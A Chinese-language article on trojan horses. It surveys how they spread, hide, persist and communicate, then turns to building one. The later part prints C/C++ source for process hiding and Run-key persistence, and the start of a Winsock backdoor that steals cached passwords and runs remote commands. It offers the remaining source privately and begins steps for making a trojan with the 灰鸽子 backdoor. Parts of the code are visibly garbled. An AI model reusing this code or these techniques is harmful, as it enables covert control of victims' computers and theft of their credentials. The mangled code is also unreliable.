木马主要是依靠邮件附件、软件下载、淫秽图片、通信软件等途径进行传播,然后,木马通过一定的提示诱使目标主机运行木马的服务端程序,实现木马的种植。
例如:入侵者伪装成目标主机用户的朋友,发送了一张捆绑有木马的电子贺卡,当目标主机打开贺卡后,屏幕上虽然会出现贺卡的画面,但此时木马服务端程序已经在后台运行了。
木马的体积都非常小,大部分在几KB到几十KB之间。
当目标主机执行了服务端程序之后,入侵者便可以通过客户端程序与目标主机的服务端建立连接,进而控制目标主机。
对于通信协议的选择,绝大多数木马使用的是TCP/IP协议,但也有使用UDP协议的木马。
木马的服务端程序会尽可能地隐蔽行踪,同时监听某个特定的端口,等待客户端的连接;此外,服务端程序为了在每次重新启动计算机后能正常运行,还需要通过修改注册表等方法实现自启动功能。
2、关键技术
(一) 隐藏技术
1) 程序隐藏
木马程序可以利用程序捆绑的方式,将自己和正常的exe 文件进行捆绑。当双击运行捆绑后的程序时,正常的exe 文件运行了。程序隐藏只能达到从表面上无法识别木马程序的目的,但是可以通过任务管理器中发现木马程序的踪迹,这就需要木马程序实现进程隐藏。
2) 进程隐藏
隐藏木马程序的进程显示能防止用户通过任务管理器查看到木马程序的进程,从而提高木马程序的隐蔽性。主要有两种:
API拦截属于进程伪隐藏方式通过利用Hook技术监控并截获系统中某些程序对进程显示的API 函数调用,然后修改函数返回的进程信息,将自己从结果中删除,导致任务管理器等工具无法显示该木马进程。
远程线程注入属于进程真隐藏方式 主要是利用CreateRemoteThread函数在某一个目标进程中创建远程线程,共享目标进程的地址空间,并获得目标进程的相关权限,从而修改目标进程内部数据和启动DLL 木马。
3) 通信隐藏
可以从通信连接的状况中发现木马程序的踪迹。因此,很有必要实现木马程序的通信隐藏。主要有两种方式:
端口复用技术,它让木马服务端程序共享其他网络程序已打开的端口和客户端进行连接,从而防止重新开启端口降低隐蔽性。关键之处在于,木马程序应增设一个数据包转交判断模块,该模块控制主机对数据报的转交选择。
利用ICMP和HTTP 协议,通常网络防火墙和入侵检测系统等安全设备只检查ICMP报文的首部,对数据部分不做处理。因此,可以将木马程序的通信数据隐藏在ICMP 报文格式的选项数据字段进行传送,如把服务端程序向客户端程序传输的数据伪装成回显请求报文,而把客户端程序向服务端程序传输的数据伪装成回显应答报文。这样,就可以通过PING\PINGRESPONSE的方式在木马服务端程序和客户端程序之间建立起一个高效的秘密会话信道。利用ICMP 协议传输数据还有一个很大的优点,即ICMP 属于IP 层协议,它在传输数据时并不使用任何端口,从而具有更好的隐蔽性。
(二) 木马自启动技术
自启动功能是必不可少的。自启动可以保证木马不会因为用户的一次关机操作而彻底失去作用。下面介绍经常使用的几种方法。
1)在Win.ini中启动
在Win.ini文件中的[Windows]字段中有启动命令"load="和"run="。默认情况下,"="后面是空白的。这两项分别是用来当系统启动时自动加载和运行的程序,如果木马程序加载到这两项中,那么系统启动后即可自动地加载和运行。
2)在System.ini中启动
在System.ini文件中的[boot]字段的shell=Explorer.exe中是木马常用的隐藏加载的地方。木马最惯用的伎俩就是把本应是"Explorer.exe"变成自己的程序名,名称伪装成几乎与Explorer.exe一样,只需稍稍改"Explorer"的字母"l"改为数字"1",或者把其中的"o"改为数字"0",这些改变如果不仔细留意是很难被人发现的。或者是shell=Explorer.exe 的后面加上木马程序的路径,如:shell=Explorer.exe sample.exe,这里的sample.exe就是木马服务端程序。
3)通过启动组实现自启动
启动组是专门用来实现应用程序自启动的地方。启动组文件夹的位置为"C:\Documents and Settings\All Users\「开始」菜单\程序\启动"。
[注:"All Users"即对所有用户都有作用]
4)通过注册表启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
5)修改文件关联
修改文件关联是木马常用手段。
例如:在正常情况下,txt文件的打开方式为notepad.exe文件,但一旦中了文件关联木马,则txt文件打开方式就会被修改为用木马程序打开。例如著名的国产木马冰河就是这样。
6)捆绑文件
入侵者可以通过一些黑客软件,如著名的Deception Binder,完成文件的捆绑,之后将这些捆绑文件放到网站、FTP、BT等资源下载场所,当用户下载并执行捆绑文件,同时就启动了木马的服务端程序。
(三) 木马植入技术
1)图标伪装
黑客为了迷惑用户,将木马服务端程序的图标换成一些常见的文件类型的图标。
2)文件捆绑欺骗
文件捆绑就是通过使用文件捆绑器将木马服务端和正常的文件捆绑在一起,达到欺骗对方从而运行捆绑的木马程序的目的。
例如,把木马服务端和某个游戏,或者flash文件捆绑成一个文件通过QQ或邮件发送给受害者。当受害者对这个游戏或flash感兴趣而下载到机器上,并开打了该文件,木马程序就会悄悄运行。
3)定制端口
很多老式的木马端口都是固定的,只要查一下特定的端口就知道感染了什么木马。现在很多新式的木马都加入了定制端口的功能,控制端用户可以在1024~65535之间任选一个端口作为木马端口,一般不选1024以下的端口,这就给判断所感染的木马类型带来了麻烦。
4)扩展名欺骗
例如,图像文件的扩展名不可能是.exe,而木马程序的扩展名又必定是.exe,大多数用户在看到扩展名为".exe"的文件时,就会很小心。于是设计者就将文件名进行一些改变,例如将"picture.tiff"更改为"pitcture.tiff.exe",因为windows默认是不显示扩展名的,于是用户就只能看到"picture.tiff",很容易将其作为一个图片文件而启动。
三、 木马的演变与种类1、木马的演变
从木马的发展来看,把木马分为五代。
1)第一代木马
第一代的木马功能相当简单,典型的有back orifice(简称:BO)、netSpy等,早就退出了历史的舞台。
第一代windows木马只是一个将自己伪装成特殊的程序或文件的软件,如伪装成一个用户登录窗口,当用户运行了木马伪装的登录窗口,输入用户名和密码后,木马将自动记录数据并转发给入侵者。
2)第二代木马
提供了几乎所有能够进行的远程控制操作。国内最具代表性的就是冰河木马和广外女生。
3)第三代木马
继续完善了连接与文件传输技术,并增加了木马穿透防火墙的功能,并出现了"反弹端口"技术,如国内的灰鸽子木马软件。
4)第四代木马
利用了远程线程插入技术,将木马线程插入DLL线程中,使系统更加难以发现木马的存在与入侵的连接方式。
5)第五代木马
相对于第四代木马,功能更加全面。而且应用DLL技术后在目标主机的计算机中不生成新的文件。
2、木马的种类
1)破坏型
破坏并删除文件,自动删除电脑上的dll、EXE等文件,以达到使被感染的电脑瘫痪的目的。
2)密码发送型
密码发送型的木马正是专门为了盗取被感染计算机上的密码而编写的,该木马一旦被执行,就会自动搜索内存,Cache,临时文件夹以及各种敏感密码文件,一旦搜索到有用的密码,木马就会利用免费的电子邮件服务将密码发送到指定的邮箱。从而达到获取密码的目的,所以这类木马大多使用25号端口发送E-mail。
3)远程访问型
远程访问型木马程序一般包括客户端程序和服务端程序,在目标主机上执行了服务端程序之后,只要用户知道目标主机的IP地址或主机名,就可以与目标主机连接,连接成功后,用户通过客户端程序提供的远程操作功能就可以实现对目标主机的监视与控制。
大名鼎鼎的木马冰河就是一个远程访问型特洛伊木马。
4)键盘记录木马
记录目标主机用户的键盘操作且将键盘操作记录在文件中,入侵者可以获取这些文件并在文件中获取诸如密码等有用的信息。
对于这种类型的木马,邮件发送功能也是必不可少的。
5)Dos攻击木马
Dos全名是Denial of service(拒绝服务)。它故意攻击网络协议的缺陷或直接通过某种手段耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务停止响应甚至崩溃。
当黑客侵入一台计算机并种上了DOS攻击木马后,日后这台计算机就成了黑客DOS攻击的最得力的帮手。黑客控制的计算机数量越多,发动DOS攻击取得成功的概率就越大,所以,这种木马的危害不是体现在被感染的计算机上,而是体现在攻击者可以利用它来攻击网络上的其他的计算机。
全名是 (),很多攻击源一起攻击某台服务器就组成了DDOS攻击。
6)代理木马
给被控制的肉鸡种上代理木马,让其变成入侵者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,入侵者可以在匿名的情况下使用Telnet等程序,从而隐蔽自己的踪迹。
7)FTP木马
这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进入对方的计算机。
8)程序*手木马
常见的查*木马软件有瑞星,Norton Anti-Virus及木马清除大师等。程序*手木马的功能就是关闭目标机器上运行的木马查*程序,让木马更好地发挥作用。
9)反弹端口型木马
木马开发者在分析了防火墙的特性后发现 :防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。
于是,与一般的木马相反,反弹端口型木马在服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。
木马定时监测客户端(控制端)的存在,发现客户端(控制端)上线立即主动连接控制端打开的主动端口;
为了隐蔽起见,客户端 (控制端)的被动端口一般设置为80(浏览网页必须开的端口),这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,不明真相的用户就会以为自己在浏览网页,并且,防火墙一般不会禁止用户向外连接80端口。
主流木马:
四、 木马程序的实现1、 木马中的关键技术实现(附源码)
1) 木马程序隐藏技术
通过注册服务程序,实现进程伪隐藏的方法:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion();//取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口 rsp(NULL,1);//注册服务 FreeLibrary(dll);//释放DLL模块 } } catch (Exception &exception)//处理异常事件 { //处理异常事件 } return 0; }
2) 程序的自启动运行技术
展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:
HKEY hkey; AnsiString NewProgramName=AnsiString(sys) AnsiString(" PName/">//") PName unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//", 0L, NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, "open", NewProgramName.c_str(), NULL, NULL, SW_HIDE))>32) { WantClose=true; Close(); } else { HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl); if (strcmp(str,"BGroup")==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup"); break; } }while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }
2、 WINSOCK编程完成一个简单"木马程序"实现(附源码)
用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。
源代码如下:
#include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "//WinMon32.exe" //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER 1 #define PROMPT "LanLan://>" DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源码可以私信我单独发送
3、 利用"灰鸽子"工具软件制作木马
灰鸽子简介: 灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。
方法如下:
首先,在电脑上安装灰鸽子,然后进入其主页面
接下来我们点自动上线FTP服务器就是你FTP空间的地址